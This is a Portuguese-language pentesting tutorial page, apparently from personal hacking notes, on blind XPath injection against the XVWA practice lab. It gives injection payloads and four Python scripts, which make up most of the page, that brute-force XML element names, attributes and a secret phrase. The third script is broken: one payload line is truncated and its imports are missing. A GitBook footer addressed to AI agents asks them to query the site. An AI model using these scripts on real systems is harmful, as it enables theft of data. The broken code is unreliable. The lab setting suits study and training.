> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/xpath-injection-attack/xpath-injection-techniques-pentesting-web.md).

# Técnicas de injeção XPath

Esta é a página da web onde você insere um número de café e outros campos, como **o id, o título, a descrição**, etc.

<figure><img src="/files/4ae2e88173fe709802584061dbf29974357f4dd1" alt=""><figcaption></figcaption></figure>

Aqui está o **arquivo XML** que devemos tentar obter o conteúdo:

<figure><img src="/files/e1eacb45634136f53b92b1ef3d448d188cfb3d98" alt="" width="563"><figcaption></figcaption></figure>

### Etapas da injeção:

#### **Filtrar o elemento principal XML:**

Filtrar com **substring** se a primeira letra da palavra Coffees começar com C:

```xml
1' and substring(name(/*[1]),1,1)='C

```

<figure><img src="/files/2e609268bcd4783310e8bd523ab6c85bf4fcb9fd" alt="" width="563"><figcaption></figcaption></figure>

Isto **Python** script automatiza todo o processo:

```python
#!/usr/bin/python3
from pwn import *
import requests
import time
import sys
import pdb
import string
import signal
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)
## Técnicas de Injeção XPath
signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.133/xvwa/vulnerabilities/xpath/"
characters = string.ascii_letters
def xPathInjection():
    data = ""
    p1 = log.progress("Ataque de força bruta")
    p1.status("Iniciando ataque de força bruta")
    time.sleep(2)
    p2 = log.progress("Dados")
    for position in range(1, 8):
        for character in characters:
            post_data = {
                'search': "1' and substring(name(/*[1]),%d,1)='%s" % (position, character),
                'submit': ''
            }
            r = requests.post(main_url, data=post_data)
            if len(r.text) != 8681:
                data += character
                p2.status(data)
                break
    p1.success("Ataque de força bruta concluído")
    p2.success(data)
if __name__ == '__main__':
    xPathInjection()

```

<figure><img src="/files/cb84121729f3c9acf26a422d3833684bd049c224" alt="" width="563"><figcaption></figcaption></figure>

#### Filtrar o XML da subtag:

Filtrar com **substring** se a primeira letra da palavra Coffee começar com C:

```xml
1' and substring(name(/*[1]/*[1]),1,1)='C

```

<figure><img src="/files/d5ef90f80161b094594645ba5591372213bc99be" alt="" width="563"><figcaption></figcaption></figure>

Isto **Python** script automatiza todo o processo:

<pre class="language-python"><code class="lang-python">#!/usr/bin/python3
<strong>from pwn import *
</strong>import requests
import time
import sys
import pdb
import string
import signal
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

## Técnicas de Injeção XPath

signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.133/xvwa/vulnerabilities/xpath/"
characters = string.ascii_letters
def xPathInjection():
    data = ""
    p1 = log.progress("Ataque de força bruta")
    p1.status("Iniciando ataque de força bruta")
    time.sleep(2)
    p2 = log.progress("Dados")
    for position in range(1, 7):
        for character in characters:
            post_data = {
                'search': "1' and substring(name(/*[1]/*[1]),%d,1)='%s" % (position, character),
                'submit': ''
            }
            r = requests.post(main_url, data=post_data)
            if len(r.text) != 8686:
                data += character
                p2.status(data)
                break
    p1.success("Ataque de força bruta concluído")
    p2.success(data)
if __name__ == '__main__':
    xPathInjection()
</code></pre>

<figure><img src="/files/a4d94d073c31352a492ad953ebf61c60880d279f" alt="" width="563"><figcaption></figcaption></figure>

#### **Filtrar o XML dos atributos:**

Filtrar com **substring** se a primeira letra da palavra ID começar com I:

```markdown
1' and substring(name(/*[1]/*[1]/*[1]),1,1)='I

```

<figure><img src="/files/0106f2cd6a78a53f1dce71eb05952da94768fca3" alt="" width="563"><figcaption></figcaption></figure>

Isto **Python** script automatiza todo o processo:

```python
#!/usr/bin/python3
 import time
 import sys
 import pdb
 import string
 import signal
 def def_handler(sig, frame):
     print("/n/n[!] Exiting.../n")
     sys.exit(1)
 # Ctrl+C
 signal.signal(signal.SIGINT, def_handler)
 main_url = "http://192.168.71.133/xvwa/vulnerabilities/xpath/"
 characters = string.ascii_letters
 def xPathInjection():
     data = ""
     p1 = log.progress("Ataque de força bruta")
     p1.status("Iniciando ataque de força bruta")
     time.sleep(2)
     p2 = log.progress("Dados")
     for first_position in range(1, 6):
         for second_position in range(1,21):
             for character in characters:
                 post_data = {
                     'search': "1' and substring(name(/*[1]/*[1]/*[%d]),%d,1)='%s" % (first_positio
                     'submit': ''
                 }
                 r = requests.post(main_url, data=post_data)
                 if len(r.text) != 8691 and len(r.text) != 8692:
                     data += character
                     p2.status(data)
                     break
         if first_position != 5:
             data += ":"
     p1.success("Ataque de força bruta concluído")
     p2.success(data)
 if __name__ == '__main__':
     xPathInjection()

```

<figure><img src="/files/402e2fde6b4de1f8cf04119c6281e61ae94dca3a" alt="" width="563"><figcaption></figcaption></figure>

#### **Filtrar o XML dos atributos do conteúdo:**

Nós filtramos com o **substring** se a primeira letra da frase secreta começar com T:

```xml
1' and substring(Secret,1,1)='T

```

<figure><img src="/files/2c741b3934b0a1a67c1b0da29b76591f334bcd47" alt="" width="563"><figcaption></figcaption></figure>

Isto **Python** script automatiza todo o processo:

<pre class="language-python"><code class="lang-python">#!/usr/bin/python3
<strong>from pwn import *
</strong>import requests
import time
import sys
import pdb
import string
import signal
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

## Técnicas de Injeção XPath

signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.133/xvwa/vulnerabilities/xpath/"
characters = string.ascii_letters + ' '
def xPathInjection():
    data = ""
    p1 = log.progress("Ataque de força bruta")
    p1.status("Iniciando ataque de força bruta")
    time.sleep(2)
    p2 = log.progress("Dados")
    for first_position in range(1, 100):
        for character in characters:
            post_data = {
                'search': "1' and substring(Secret,%d,1)='%s" % (first_position, character),
                'submit': ''
            }
            r = requests.post(main_url, data=post_data)
            if len(r.text) != 8676 and len(r.text) !=8677:
                data += character
                p2.status(data)
                break
    p1.success("Ataque de força bruta concluído")
    p2.success(data)
if __name__ == '__main__':
    xPathInjection()
</code></pre>

<figure><img src="/files/0d59ec87324b3268c4ebb44b034190e6d2dd0e0d" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/xpath-injection-attack/xpath-injection-techniques-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
